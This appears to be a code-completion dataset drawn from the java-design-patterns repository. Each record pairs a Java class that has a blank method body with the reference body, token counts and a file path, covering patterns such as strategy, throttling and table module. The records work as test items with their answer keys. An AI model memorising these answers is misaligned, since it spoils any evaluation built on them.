class App { private static final Logger LOGGER = LoggerFactory.getLogger(App.class); private static final String LOGGER_STRING = "[REQUEST] User: {} buy product: {}"; private static final String TEST_USER_1 = "ignite1771"; private static final String TEST_USER_2 = "abc123"; private static final String ITEM_TV = "tv"; private static final String ITEM_CAR = "car"; private static final String ITEM_COMPUTER = "computer"; /** * Program entry point. */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
// DB seeding LOGGER.info("Db seeding: " + "1 user: {\"ignite1771\", amount = 1000.0}, " + "2 products: {\"computer\": price = 800.0, \"car\": price = 20000.0}"); Db.getInstance().seedUser(TEST_USER_1, 1000.0); Db.getInstance().seedItem(ITEM_COMPUTER, 800.0); Db.getInstance().seedItem(ITEM_CAR, 20000.0); final var applicationServices = new ApplicationServicesImpl(); ReceiptViewModel receipt; LOGGER.info(LOGGER_STRING, TEST_USER_2, ITEM_TV); receipt = applicationServices.loggedInUserPurchase(TEST_USER_2, ITEM_TV); receipt.show(); MaintenanceLock.getInstance().setLock(false); LOGGER.info(LOGGER_STRING, TEST_USER_2, ITEM_TV); receipt = applicationServices.loggedInUserPurchase(TEST_USER_2, ITEM_TV); receipt.show(); LOGGER.info(LOGGER_STRING, TEST_USER_1, ITEM_TV); receipt = applicationServices.loggedInUserPurchase(TEST_USER_1, ITEM_TV); receipt.show(); LOGGER.info(LOGGER_STRING, TEST_USER_1, ITEM_CAR); receipt = applicationServices.loggedInUserPurchase(TEST_USER_1, ITEM_CAR); receipt.show(); LOGGER.info(LOGGER_STRING, TEST_USER_1, ITEM_COMPUTER); receipt = applicationServices.loggedInUserPurchase(TEST_USER_1, ITEM_COMPUTER); receipt.show();
178
482
660
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/ApplicationServicesImpl.java
ApplicationServicesImpl
loggedInUserPurchase
class ApplicationServicesImpl implements ApplicationServices { private DomainServicesImpl domain = new DomainServicesImpl(); @Override public ReceiptViewModel loggedInUserPurchase(String userName, String itemName) {<FILL_FUNCTION_BODY>} private boolean isDownForMaintenance() { return MaintenanceLock.getInstance().isLock(); } }
if (isDownForMaintenance()) { return new DownForMaintenance(); } return this.domain.purchase(userName, itemName);
94
42
136
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/Db.java
Account
withdraw
class Account { private Double amount; public Account(Double amount) { this.amount = amount; } /** * Withdraw the price of the item from the account. * * @param price of the item * @return instance of MoneyTransaction */ public MoneyTransaction withdraw(Double price) {<FILL_FUNCTION_BODY>} public Double getAmount() { return amount; } }
if (price > amount) { return null; } return new MoneyTransaction(amount, price);
117
31
148
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/DomainServicesImpl.java
DomainServicesImpl
purchase
class DomainServicesImpl implements DomainServices { /** * Domain purchase with userName and itemName, with validation for userName. * * @param userName of the user * @param itemName of the item * @return instance of ReceiptViewModel */ public ReceiptViewModel purchase(String userName, String itemName) { Db.User user = Db.getInstance().findUserByUserName(userName); if (user == null) { return new InvalidUser(userName); } Db.Account account = Db.getInstance().findAccountByUser(user); return purchase(user, account, itemName); } /** * Domain purchase with user, account and itemName, * with validation for whether product is out of stock * and whether user has insufficient funds in the account. * * @param user in Db * @param account in Db * @param itemName of the item * @return instance of ReceiptViewModel */ private ReceiptViewModel purchase(Db.User user, Db.Account account, String itemName) {<FILL_FUNCTION_BODY>} }
Db.Product item = Db.getInstance().findProductByItemName(itemName); if (item == null) { return new OutOfStock(user.getUserName(), itemName); } ReceiptDto receipt = user.purchase(item); MoneyTransaction transaction = account.withdraw(receipt.getPrice()); if (transaction == null) { return new InsufficientFunds(user.getUserName(), account.getAmount(), itemName); } return receipt;
301
132
433
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/InsufficientFunds.java
InsufficientFunds
show
class InsufficientFunds implements ReceiptViewModel { private String userName; private Double amount; private String itemName; /** * Constructor of InsufficientFunds. * * @param userName of the user * @param amount of the user's account * @param itemName of the item */ public InsufficientFunds(String userName, Double amount, String itemName) { this.userName = userName; this.amount = amount; this.itemName = itemName; } @Override public void show() {<FILL_FUNCTION_BODY>} }
LOGGER.info("Insufficient funds: " + amount + " of user: " + userName + " for buying item: " + itemName);
167
39
206
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/OutOfStock.java
OutOfStock
show
class OutOfStock implements ReceiptViewModel { private static final Logger LOGGER = LoggerFactory.getLogger(OutOfStock.class); private final String userName; private final String itemName; public OutOfStock(String userName, String itemName) { this.userName = userName; this.itemName = itemName; } @Override public void show() {<FILL_FUNCTION_BODY>} }
LOGGER.info(String.format("Out of stock: %s for user = %s to buy", itemName, userName));
122
34
156
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/specification/src/main/java/com/iluwatar/specification/app/App.java
App
main
class App { /** * Program entry point. */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} private static void print(List<? extends Creature> creatures, Predicate<Creature> selector) { creatures.stream().filter(selector).map(Objects::toString).forEach(LOGGER::info); } }
// initialize creatures list var creatures = List.of( new Goblin(), new Octopus(), new Dragon(), new Shark(), new Troll(), new KillerBee() ); // so-called "hard-coded" specification LOGGER.info("Demonstrating hard-coded specification :"); // find all walking creatures LOGGER.info("Find all walking creatures"); print(creatures, new MovementSelector(Movement.WALKING)); // find all dark creatures LOGGER.info("Find all dark creatures"); print(creatures, new ColorSelector(Color.DARK)); LOGGER.info("\n"); // so-called "parameterized" specification LOGGER.info("Demonstrating parameterized specification :"); // find all creatures heavier than 500kg LOGGER.info("Find all creatures heavier than 600kg"); print(creatures, new MassGreaterThanSelector(600.0)); // find all creatures heavier than 500kg LOGGER.info("Find all creatures lighter than or weighing exactly 500kg"); print(creatures, new MassSmallerThanOrEqSelector(500.0)); LOGGER.info("\n"); // so-called "composite" specification LOGGER.info("Demonstrating composite specification :"); // find all red and flying creatures LOGGER.info("Find all red and flying creatures"); var redAndFlying = new ColorSelector(Color.RED).and(new MovementSelector(Movement.FLYING)); print(creatures, redAndFlying); // find all creatures dark or red, non-swimming, and heavier than or equal to 400kg LOGGER.info("Find all scary creatures"); var scaryCreaturesSelector = new ColorSelector(Color.DARK) .or(new ColorSelector(Color.RED)).and(new MovementSelector(Movement.SWIMMING).not()) .and(new MassGreaterThanSelector(400.0).or(new MassEqualSelector(400.0))); print(creatures, scaryCreaturesSelector);
96
550
646
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/specification/src/main/java/com/iluwatar/specification/creature/AbstractCreature.java
AbstractCreature
toString
class AbstractCreature implements Creature { private final String name; private final Size size; private final Movement movement; private final Color color; private final Mass mass; /** * Constructor. */ public AbstractCreature(String name, Size size, Movement movement, Color color, Mass mass) { this.name = name; this.size = size; this.movement = movement; this.color = color; this.mass = mass; } @Override public String toString() {<FILL_FUNCTION_BODY>} @Override public String getName() { return name; } @Override public Size getSize() { return size; } @Override public Movement getMovement() { return movement; } @Override public Color getColor() { return color; } @Override public Mass getMass() { return mass; } }
return String.format("%s [size=%s, movement=%s, color=%s, mass=%s]", name, size, movement, color, mass);
261
45
306
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/state/src/main/java/com/iluwatar/state/App.java
App
main
class App { /** * Program entry point. */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
var mammoth = new Mammoth(); mammoth.observe(); mammoth.timePasses(); mammoth.observe(); mammoth.timePasses(); mammoth.observe();
44
64
108
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/state/src/main/java/com/iluwatar/state/Mammoth.java
Mammoth
timePasses
class Mammoth { private State state; public Mammoth() { state = new PeacefulState(this); } /** * Makes time pass for the mammoth. */ public void timePasses() {<FILL_FUNCTION_BODY>} private void changeStateTo(State newState) { this.state = newState; this.state.onEnterState(); } @Override public String toString() { return "The mammoth"; } public void observe() { this.state.observe(); } }
if (state.getClass().equals(PeacefulState.class)) { changeStateTo(new AngryState(this)); } else { changeStateTo(new PeacefulState(this)); }
186
62
248
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/step-builder/src/main/java/com/iluwatar/stepbuilder/App.java
App
main
class App { /** * Program entry point. * * @param args command line args */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
var warrior = CharacterStepBuilder .newBuilder() .name("Amberjill") .fighterClass("Paladin") .withWeapon("Sword") .noAbilities() .build(); LOGGER.info(warrior.toString()); var mage = CharacterStepBuilder .newBuilder() .name("Riobard") .wizardClass("Sorcerer") .withSpell("Fireball") .withAbility("Fire Aura") .withAbility("Teleport") .noMoreAbilities() .build(); LOGGER.info(mage.toString()); var thief = CharacterStepBuilder .newBuilder() .name("Desmond") .fighterClass("Rogue") .noWeapon() .build(); LOGGER.info(thief.toString());
56
233
289
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/step-builder/src/main/java/com/iluwatar/stepbuilder/Character.java
Character
toString
class Character { private String name; private String fighterClass; private String wizardClass; private String weapon; private String spell; private List<String> abilities; public Character(String name) { this.name = name; } @Override public String toString() {<FILL_FUNCTION_BODY>} }
return new StringBuilder() .append("This is a ") .append(fighterClass != null ? fighterClass : wizardClass) .append(" named ") .append(name) .append(" armed with a ") .append(weapon != null ? weapon : spell != null ? spell : "with nothing") .append(abilities != null ? " and wielding " + abilities + " abilities" : "") .append('.') .toString();
97
124
221
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/step-builder/src/main/java/com/iluwatar/stepbuilder/CharacterStepBuilder.java
CharacterSteps
build
class CharacterSteps implements NameStep, ClassStep, WeaponStep, SpellStep, AbilityStep, BuildStep { private String name; private String fighterClass; private String wizardClass; private String weapon; private String spell; private final List<String> abilities = new ArrayList<>(); @Override public ClassStep name(String name) { this.name = name; return this; } @Override public WeaponStep fighterClass(String fighterClass) { this.fighterClass = fighterClass; return this; } @Override public SpellStep wizardClass(String wizardClass) { this.wizardClass = wizardClass; return this; } @Override public AbilityStep withWeapon(String weapon) { this.weapon = weapon; return this; } @Override public BuildStep noWeapon() { return this; } @Override public AbilityStep withSpell(String spell) { this.spell = spell; return this; } @Override public BuildStep noSpell() { return this; } @Override public AbilityStep withAbility(String ability) { this.abilities.add(ability); return this; } @Override public BuildStep noMoreAbilities() { return this; } @Override public BuildStep noAbilities() { return this; } @Override public Character build() {<FILL_FUNCTION_BODY>} }
var character = new Character(name); if (fighterClass != null) { character.setFighterClass(fighterClass); } else { character.setWizardClass(wizardClass); } if (weapon != null) { character.setWeapon(weapon); } else { character.setSpell(spell); } if (!abilities.isEmpty()) { character.setAbilities(abilities); } return character;
427
136
563
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/strangler/src/main/java/com/iluwatar/strangler/App.java
App
main
class App { /** * Program entry point. * @param args command line args */ public static void main(final String[] args) {<FILL_FUNCTION_BODY>} }
final var nums = new int[]{1, 2, 3, 4, 5}; //Before migration final var oldSystem = new OldArithmetic(new OldSource()); oldSystem.sum(nums); oldSystem.mul(nums); //In process of migration final var halfSystem = new HalfArithmetic(new HalfSource(), new OldSource()); halfSystem.sum(nums); halfSystem.mul(nums); halfSystem.ifHasZero(nums); //After migration final var newSystem = new NewArithmetic(new NewSource()); newSystem.sum(nums); newSystem.mul(nums); newSystem.ifHasZero(nums);
53
183
236
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/strangler/src/main/java/com/iluwatar/strangler/HalfSource.java
HalfSource
ifNonZero
class HalfSource { private static final String VERSION = "1.5"; /** * Implement accumulate sum with new technique. * Replace old one in {@link OldSource} */ public int accumulateSum(int... nums) { LOGGER.info("Source module {}", VERSION); return Arrays.stream(nums).reduce(0, Integer::sum); } /** * Check if all number is not zero. * New feature. */ public boolean ifNonZero(int... nums) {<FILL_FUNCTION_BODY>} }
LOGGER.info("Source module {}", VERSION); return Arrays.stream(nums).allMatch(num -> num != 0);
156
40
196
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/strangler/src/main/java/com/iluwatar/strangler/NewSource.java
NewSource
accumulateMul
class NewSource { private static final String VERSION = "2.0"; public static final String SOURCE_MODULE = "Source module {}"; public int accumulateSum(int... nums) { LOGGER.info(SOURCE_MODULE, VERSION); return Arrays.stream(nums).reduce(0, Integer::sum); } /** * Implement accumulate multiply with new technique. * Replace old one in {@link OldSource} */ public int accumulateMul(int... nums) {<FILL_FUNCTION_BODY>} public boolean ifNonZero(int... nums) { LOGGER.info(SOURCE_MODULE, VERSION); return Arrays.stream(nums).allMatch(num -> num != 0); } }
LOGGER.info(SOURCE_MODULE, VERSION); return Arrays.stream(nums).reduce(1, (a, b) -> a * b);
209
46
255
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/strangler/src/main/java/com/iluwatar/strangler/OldSource.java
OldSource
accumulateMul
class OldSource { private static final String VERSION = "1.0"; /** * Implement accumulate sum with old technique. */ public int accumulateSum(int... nums) { LOGGER.info("Source module {}", VERSION); var sum = 0; for (final var num : nums) { sum += num; } return sum; } /** * Implement accumulate multiply with old technique. */ public int accumulateMul(int... nums) {<FILL_FUNCTION_BODY>} }
LOGGER.info("Source module {}", VERSION); var sum = 1; for (final var num : nums) { sum *= num; } return sum;
153
52
205
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/strategy/src/main/java/com/iluwatar/strategy/App.java
App
main
class App { private static final String RED_DRAGON_EMERGES = "Red dragon emerges."; private static final String GREEN_DRAGON_SPOTTED = "Green dragon spotted ahead!"; private static final String BLACK_DRAGON_LANDS = "Black dragon lands before you."; /** * Program entry point. * * @param args command line args */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
// GoF Strategy pattern LOGGER.info(GREEN_DRAGON_SPOTTED); var dragonSlayer = new DragonSlayer(new MeleeStrategy()); dragonSlayer.goToBattle(); LOGGER.info(RED_DRAGON_EMERGES); dragonSlayer.changeStrategy(new ProjectileStrategy()); dragonSlayer.goToBattle(); LOGGER.info(BLACK_DRAGON_LANDS); dragonSlayer.changeStrategy(new SpellStrategy()); dragonSlayer.goToBattle(); // Java 8 functional implementation Strategy pattern LOGGER.info(GREEN_DRAGON_SPOTTED); dragonSlayer = new DragonSlayer( () -> LOGGER.info("With your Excalibur you severe the dragon's head!")); dragonSlayer.goToBattle(); LOGGER.info(RED_DRAGON_EMERGES); dragonSlayer.changeStrategy(() -> LOGGER.info( "You shoot the dragon with the magical crossbow and it falls dead on the ground!")); dragonSlayer.goToBattle(); LOGGER.info(BLACK_DRAGON_LANDS); dragonSlayer.changeStrategy(() -> LOGGER.info( "You cast the spell of disintegration and the dragon vaporizes in a pile of dust!")); dragonSlayer.goToBattle(); // Java 8 lambda implementation with enum Strategy pattern LOGGER.info(GREEN_DRAGON_SPOTTED); dragonSlayer.changeStrategy(LambdaStrategy.Strategy.MeleeStrategy); dragonSlayer.goToBattle(); LOGGER.info(RED_DRAGON_EMERGES); dragonSlayer.changeStrategy(LambdaStrategy.Strategy.ProjectileStrategy); dragonSlayer.goToBattle(); LOGGER.info(BLACK_DRAGON_LANDS); dragonSlayer.changeStrategy(LambdaStrategy.Strategy.SpellStrategy); dragonSlayer.goToBattle();
135
536
671
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/strategy/src/main/java/com/iluwatar/strategy/ProjectileStrategy.java
ProjectileStrategy
execute
class ProjectileStrategy implements DragonSlayingStrategy { @Override public void execute() {<FILL_FUNCTION_BODY>} }
LOGGER.info("You shoot the dragon with the magical crossbow and it falls dead on the ground!");
42
31
73
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/strategy/src/main/java/com/iluwatar/strategy/SpellStrategy.java
SpellStrategy
execute
class SpellStrategy implements DragonSlayingStrategy { @Override public void execute() {<FILL_FUNCTION_BODY>} }
LOGGER.info("You cast the spell of disintegration and the dragon vaporizes in a pile of dust!");
44
33
77
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/subclass-sandbox/src/main/java/com/iluwatar/subclasssandbox/App.java
App
main
class App { /** * Entry point of the main program. * @param args Program runtime arguments. */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
LOGGER.info("Use superpower: sky launch"); var skyLaunch = new SkyLaunch(); skyLaunch.activate(); LOGGER.info("Use superpower: ground dive"); var groundDive = new GroundDive(); groundDive.activate();
58
73
131
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/subclass-sandbox/src/main/java/com/iluwatar/subclasssandbox/Superpower.java
Superpower
move
class Superpower { protected Logger logger; /** * Subclass of superpower should implement this sandbox method by calling the * methods provided in this super class. */ protected abstract void activate(); /** * Move to (x, y, z). * @param x X coordinate. * @param y Y coordinate. * @param z Z coordinate. */ protected void move(double x, double y, double z) {<FILL_FUNCTION_BODY>} /** * Play sound effect for the superpower. * @param soundName Sound name. * @param volume Value of volume. */ protected void playSound(String soundName, int volume) { logger.info("Play {} with volume {}", soundName, volume); } /** * Spawn particles for the superpower. * @param particleType Particle type. * @param count Count of particles to be spawned. */ protected void spawnParticles(String particleType, int count) { logger.info("Spawn {} particle with type {}", count, particleType); } }
logger.info("Move to ( {}, {}, {} )", x, y, z);
285
23
308
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/table-module/src/main/java/com/iluwatar/tablemodule/App.java
App
createSchema
class App { private static final String DB_URL = "jdbc:h2:mem:testdb;DB_CLOSE_DELAY=-1"; /** * Private constructor. */ private App() { } /** * Program entry point. * * @param args command line args. * @throws SQLException if any error occurs. */ public static void main(final String[] args) throws SQLException { // Create data source and create the user table. final var dataSource = createDataSource(); createSchema(dataSource); var userTableModule = new UserTableModule(dataSource); // Initialize two users. var user1 = new User(1, "123456", "123456"); var user2 = new User(2, "test", "password"); // Login and register using the instance of userTableModule. userTableModule.registerUser(user1); userTableModule.login(user1.getUsername(), user1.getPassword()); userTableModule.login(user2.getUsername(), user2.getPassword()); userTableModule.registerUser(user2); userTableModule.login(user2.getUsername(), user2.getPassword()); deleteSchema(dataSource); } private static void deleteSchema(final DataSource dataSource) throws SQLException { try (var connection = dataSource.getConnection(); var statement = connection.createStatement()) { statement.execute(UserTableModule.DELETE_SCHEMA_SQL); } } private static void createSchema(final DataSource dataSource) throws SQLException {<FILL_FUNCTION_BODY>} private static DataSource createDataSource() { var dataSource = new JdbcDataSource(); dataSource.setURL(DB_URL); return dataSource; } }
try (var connection = dataSource.getConnection(); var statement = connection.createStatement()) { statement.execute(UserTableModule.CREATE_SCHEMA_SQL); }
479
48
527
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/table-module/src/main/java/com/iluwatar/tablemodule/UserTableModule.java
UserTableModule
login
class UserTableModule { /** * Public element for creating schema. */ public static final String CREATE_SCHEMA_SQL = "CREATE TABLE IF NOT EXISTS USERS (ID NUMBER, USERNAME VARCHAR(30) " + "UNIQUE,PASSWORD VARCHAR(30))"; /** * Public element for deleting schema. */ public static final String DELETE_SCHEMA_SQL = "DROP TABLE USERS IF EXISTS"; private final DataSource dataSource; /** * Public constructor. * * @param userDataSource the data source in the database */ public UserTableModule(final DataSource userDataSource) { this.dataSource = userDataSource; } /** * Login using username and password. * * @param username the username of a user * @param password the password of a user * @return the execution result of the method * @throws SQLException if any error */ public int login(final String username, final String password) throws SQLException {<FILL_FUNCTION_BODY>} /** * Register a new user. * * @param user a user instance * @return the execution result of the method * @throws SQLException if any error */ public int registerUser(final User user) throws SQLException { var sql = "insert into USERS (username, password) values (?,?)"; try (var connection = dataSource.getConnection(); var preparedStatement = connection.prepareStatement(sql) ) { preparedStatement.setString(1, user.getUsername()); preparedStatement.setString(2, user.getPassword()); var result = preparedStatement.executeUpdate(); LOGGER.info("Register successfully!"); return result; } } }
var sql = "select count(*) from USERS where username=? and password=?"; ResultSet resultSet = null; try (var connection = dataSource.getConnection(); var preparedStatement = connection.prepareStatement(sql) ) { var result = 0; preparedStatement.setString(1, username); preparedStatement.setString(2, password); resultSet = preparedStatement.executeQuery(); while (resultSet.next()) { result = resultSet.getInt(1); } if (result == 1) { LOGGER.info("Login successfully!"); } else { LOGGER.info("Fail to login!"); } return result; } finally { if (resultSet != null) { resultSet.close(); } }
463
207
670
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/template-method/src/main/java/com/iluwatar/templatemethod/App.java
App
main
class App { /** * Program entry point. * * @param args command line args */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
var thief = new HalflingThief(new HitAndRunMethod()); thief.steal(); thief.changeMethod(new SubtleMethod()); thief.steal();
56
50
106
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/template-method/src/main/java/com/iluwatar/templatemethod/StealingMethod.java
StealingMethod
steal
class StealingMethod { protected abstract String pickTarget(); protected abstract void confuseTarget(String target); protected abstract void stealTheItem(String target); /** * Steal. */ public final void steal() {<FILL_FUNCTION_BODY>} }
var target = pickTarget(); LOGGER.info("The target has been chosen as {}.", target); confuseTarget(target); stealTheItem(target);
88
49
137
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/template-method/src/main/java/com/iluwatar/templatemethod/SubtleMethod.java
SubtleMethod
stealTheItem
class SubtleMethod extends StealingMethod { @Override protected String pickTarget() { return "shop keeper"; } @Override protected void confuseTarget(String target) { LOGGER.info("Approach the {} with tears running and hug him!", target); } @Override protected void stealTheItem(String target) {<FILL_FUNCTION_BODY>} }
LOGGER.info("While in close contact grab the {}'s wallet.", target);
107
23
130
<methods>public non-sealed void <init>() ,public final void steal() <variables>
iluwatar_java-design-patterns
java-design-patterns/thread-local-storage/src/main/java/com/iluwatar/AbstractThreadLocalExample.java
AbstractThreadLocalExample
run
class AbstractThreadLocalExample implements Runnable { private static final SecureRandom RND = new SecureRandom(); private static final Integer RANDOM_THREAD_PARK_START = 1_000_000_000; private static final Integer RANDOM_THREAD_PARK_END = 2_000_000_000; @Override public void run() {<FILL_FUNCTION_BODY>} /** * Setter for our value. * * @return consumer */ protected abstract Consumer<Integer> setter(); /** * Getter for our value. * * @return supplier */ protected abstract Supplier<Integer> getter(); private String getThreadName() { return Thread.currentThread().getName(); } }
long nanosToPark = RND.nextInt(RANDOM_THREAD_PARK_START, RANDOM_THREAD_PARK_END); LockSupport.parkNanos(nanosToPark); System.out.println(getThreadName() + ", before value changing: " + getter().get()); setter().accept(RND.nextInt());
216
98
314
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/thread-pool/src/main/java/com/iluwatar/threadpool/App.java
App
main
class App { /** * Program entry point. * * @param args command line args */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
LOGGER.info("Program started"); // Create a list of tasks to be executed var tasks = List.of( new PotatoPeelingTask(3), new PotatoPeelingTask(6), new CoffeeMakingTask(2), new CoffeeMakingTask(6), new PotatoPeelingTask(4), new CoffeeMakingTask(2), new PotatoPeelingTask(4), new CoffeeMakingTask(9), new PotatoPeelingTask(3), new CoffeeMakingTask(2), new PotatoPeelingTask(4), new CoffeeMakingTask(2), new CoffeeMakingTask(7), new PotatoPeelingTask(4), new PotatoPeelingTask(5)); // Creates a thread pool that reuses a fixed number of threads operating off a shared // unbounded queue. At any point, at most nThreads threads will be active processing // tasks. If additional tasks are submitted when all threads are active, they will wait // in the queue until a thread is available. var executor = Executors.newFixedThreadPool(3); // Allocate new worker for each task // The worker is executed when a thread becomes // available in the thread pool tasks.stream().map(Worker::new).forEach(executor::execute); // All tasks were executed, now shutdown executor.shutdown(); while (!executor.isTerminated()) { Thread.yield(); } LOGGER.info("Program finished");
56
383
439
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/thread-pool/src/main/java/com/iluwatar/threadpool/Worker.java
Worker
run
class Worker implements Runnable { private final Task task; public Worker(final Task task) { this.task = task; } @Override public void run() {<FILL_FUNCTION_BODY>} }
LOGGER.info("{} processing {}", Thread.currentThread().getName(), task.toString()); try { Thread.sleep(task.getTimeMs()); } catch (InterruptedException e) { e.printStackTrace(); }
66
63
129
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/throttling/src/main/java/com/iluwatar/throttling/App.java
App
makeServiceCalls
class App { /** * Application entry point. * * @param args main arguments */ public static void main(String[] args) { var callsCount = new CallsCount(); var human = new BarCustomer("young human", 2, callsCount); var dwarf = new BarCustomer("dwarf soldier", 4, callsCount); var executorService = Executors.newFixedThreadPool(2); executorService.execute(() -> makeServiceCalls(human, callsCount)); executorService.execute(() -> makeServiceCalls(dwarf, callsCount)); executorService.shutdown(); try { if (!executorService.awaitTermination(10, TimeUnit.SECONDS)) { executorService.shutdownNow(); } } catch (InterruptedException e) { executorService.shutdownNow(); } } /** * Make calls to the bartender. */ private static void makeServiceCalls(BarCustomer barCustomer, CallsCount callsCount) {<FILL_FUNCTION_BODY>} }
var timer = new ThrottleTimerImpl(1000, callsCount); var service = new Bartender(timer, callsCount); // Sleep is introduced to keep the output in check and easy to view and analyze the results. IntStream.range(0, 50).forEach(i -> { service.orderDrink(barCustomer); try { Thread.sleep(100); } catch (InterruptedException e) { LOGGER.error("Thread interrupted: {}", e.getMessage()); } });
284
136
420
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/throttling/src/main/java/com/iluwatar/throttling/Bartender.java
Bartender
orderDrink
class Bartender { private static final Logger LOGGER = LoggerFactory.getLogger(Bartender.class); private final CallsCount callsCount; public Bartender(Throttler timer, CallsCount callsCount) { this.callsCount = callsCount; timer.start(); } /** * Orders a drink from the bartender. * @return customer id which is randomly generated */ public int orderDrink(BarCustomer barCustomer) {<FILL_FUNCTION_BODY>} private int getRandomCustomerId() { return ThreadLocalRandom.current().nextInt(1, 10000); } }
var tenantName = barCustomer.getName(); var count = callsCount.getCount(tenantName); if (count >= barCustomer.getAllowedCallsPerSecond()) { LOGGER.error("I'm sorry {}, you've had enough for today!", tenantName); return -1; } callsCount.incrementCount(tenantName); LOGGER.debug("Serving beer to {} : [{} consumed] ", barCustomer.getName(), count + 1); return getRandomCustomerId();
173
128
301
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/throttling/src/main/java/com/iluwatar/throttling/timer/ThrottleTimerImpl.java
ThrottleTimerImpl
start
class ThrottleTimerImpl implements Throttler { private final int throttlePeriod; private final CallsCount callsCount; public ThrottleTimerImpl(int throttlePeriod, CallsCount callsCount) { this.throttlePeriod = throttlePeriod; this.callsCount = callsCount; } /** * A timer is initiated with this method. The timer runs every second and resets the * counter. */ @Override public void start() {<FILL_FUNCTION_BODY>} }
new Timer(true).schedule(new TimerTask() { @Override public void run() { callsCount.reset(); } }, 0, throttlePeriod);
146
52
198
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/tolerant-reader/src/main/java/com/iluwatar/tolerantreader/App.java
App
main
class App { /** * Program entry point. */ public static void main(String[] args) throws IOException, ClassNotFoundException {<FILL_FUNCTION_BODY>} }
// Write V1 var fishV1 = new RainbowFish("Zed", 10, 11, 12); LOGGER.info("fishV1 name={} age={} length={} weight={}", fishV1.getName(), fishV1.getAge(), fishV1.getLengthMeters(), fishV1.getWeightTons()); RainbowFishSerializer.writeV1(fishV1, "fish1.out"); // Read V1 var deserializedRainbowFishV1 = RainbowFishSerializer.readV1("fish1.out"); LOGGER.info("deserializedFishV1 name={} age={} length={} weight={}", deserializedRainbowFishV1.getName(), deserializedRainbowFishV1.getAge(), deserializedRainbowFishV1.getLengthMeters(), deserializedRainbowFishV1.getWeightTons()); // Write V2 var fishV2 = new RainbowFishV2("Scar", 5, 12, 15, true, true, true); LOGGER.info( "fishV2 name={} age={} length={} weight={} sleeping={} hungry={} angry={}", fishV2.getName(), fishV2.getAge(), fishV2.getLengthMeters(), fishV2.getWeightTons(), fishV2.isHungry(), fishV2.isAngry(), fishV2.isSleeping()); RainbowFishSerializer.writeV2(fishV2, "fish2.out"); // Read V2 with V1 method var deserializedFishV2 = RainbowFishSerializer.readV1("fish2.out"); LOGGER.info("deserializedFishV2 name={} age={} length={} weight={}", deserializedFishV2.getName(), deserializedFishV2.getAge(), deserializedFishV2.getLengthMeters(), deserializedFishV2.getWeightTons());
50
517
567
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/tolerant-reader/src/main/java/com/iluwatar/tolerantreader/RainbowFishSerializer.java
RainbowFishSerializer
readV1
class RainbowFishSerializer { public static final String LENGTH_METERS = "lengthMeters"; public static final String WEIGHT_TONS = "weightTons"; private RainbowFishSerializer() { } /** * Write V1 RainbowFish to file. */ public static void writeV1(RainbowFish rainbowFish, String filename) throws IOException { var map = Map.of( "name", rainbowFish.getName(), "age", String.format("%d", rainbowFish.getAge()), LENGTH_METERS, String.format("%d", rainbowFish.getLengthMeters()), WEIGHT_TONS, String.format("%d", rainbowFish.getWeightTons()) ); try (var fileOut = new FileOutputStream(filename); var objOut = new ObjectOutputStream(fileOut)) { objOut.writeObject(map); } } /** * Write V2 RainbowFish to file. */ public static void writeV2(RainbowFishV2 rainbowFish, String filename) throws IOException { var map = Map.of( "name", rainbowFish.getName(), "age", String.format("%d", rainbowFish.getAge()), LENGTH_METERS, String.format("%d", rainbowFish.getLengthMeters()), WEIGHT_TONS, String.format("%d", rainbowFish.getWeightTons()), "angry", Boolean.toString(rainbowFish.isAngry()), "hungry", Boolean.toString(rainbowFish.isHungry()), "sleeping", Boolean.toString(rainbowFish.isSleeping()) ); try (var fileOut = new FileOutputStream(filename); var objOut = new ObjectOutputStream(fileOut)) { objOut.writeObject(map); } } /** * Read V1 RainbowFish from file. */ public static RainbowFish readV1(String filename) throws IOException, ClassNotFoundException {<FILL_FUNCTION_BODY>} }
Map<String, String> map; try (var fileIn = new FileInputStream(filename); var objIn = new ObjectInputStream(fileIn)) { map = (Map<String, String>) objIn.readObject(); } return new RainbowFish( map.get("name"), Integer.parseInt(map.get("age")), Integer.parseInt(map.get(LENGTH_METERS)), Integer.parseInt(map.get(WEIGHT_TONS)) );
548
133
681
